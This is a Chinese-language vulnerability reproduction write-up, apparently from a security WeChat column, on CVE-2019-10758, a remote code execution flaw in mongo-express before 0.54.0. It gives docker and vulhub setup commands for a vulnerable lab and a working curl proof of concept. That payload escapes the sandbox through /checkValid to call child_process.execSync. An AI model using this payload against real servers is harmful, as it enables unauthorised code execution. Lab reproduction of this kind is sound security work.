专栏名称: TimelineSec
安全圈必备公众号之一!专注于最新漏洞复现!内含漏洞时间线工具靶场等干货!记录每一个漏洞,捕捉安全的每一瞬间!
目录
相关文章推荐
中国电信  ·  这项行动,被央视点赞啦! ·  昨天  
中国电信  ·  突发山体滑坡!紧急驰援! ·  2 天前  
界面新闻  ·  工信部:三家电信运营商已全面接入DeepSe ... ·  3 天前  
51好读  ›  专栏  ›  TimelineSec

CVE-2019-10758:Mongo-express远程代码执行

TimelineSec  · 公众号  ·  · 2020-03-23 09:00

正文


本公众号专注于最新漏洞复现,欢迎关注!

------------------------------------------------------------------------------------

本文作者:Str1am(Timeline Sec复现组成员)

本文共597字,阅读大约需要2~3分钟

声明:请勿做非法用途,否则后果自负


0x01 简介
Mongo-express是MongoDB的数据库管理工具,类似Navicat对应Mysql的关系,其使用Node.js,Express和Bootstrap3编写的基于Web的MongoDB图形化管理界面。


0x02 漏洞概述

漏洞问题出在lib/bson.js中的toBSON()函数中, 路由 /checkValid 从外部接收输入,并调用了存在 RCE 漏洞的代码,由此存在被攻击的风险。


0x03 影响版本
mongo-express < 0.54.0


0x04 环境搭建

使用docker首先搭建MongoDB数据库
docker run --name MyMongo -d mongo:3.2


再搭建一个存在漏洞版本得express并连接到上面得MongoDB
docker run -it --rm -p 8081:8081 --link MyMongo:mongo mongo-express:0.49


看到以下信息即可说明搭建成功



访问本机8081端口,可以看到Mongo-express界面



当然也可以直接使用vulhub


git clone https://github.com/vulhub/vulhub.gitcd vulhub/mongo-express/CVE-2019-10758docker-compose up -d


0x05 漏洞复现

使用网上Poc
curl 'http://localhost:8081/checkValid' -H 'Authorization: Basic YWRtaW46cGFzcw==' --data 'document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("echo Str1am > file.txt")'



看到返回Valid且MongoDB界面返回200即为成功



查看创建的文件








请到「今天看啥」查看全文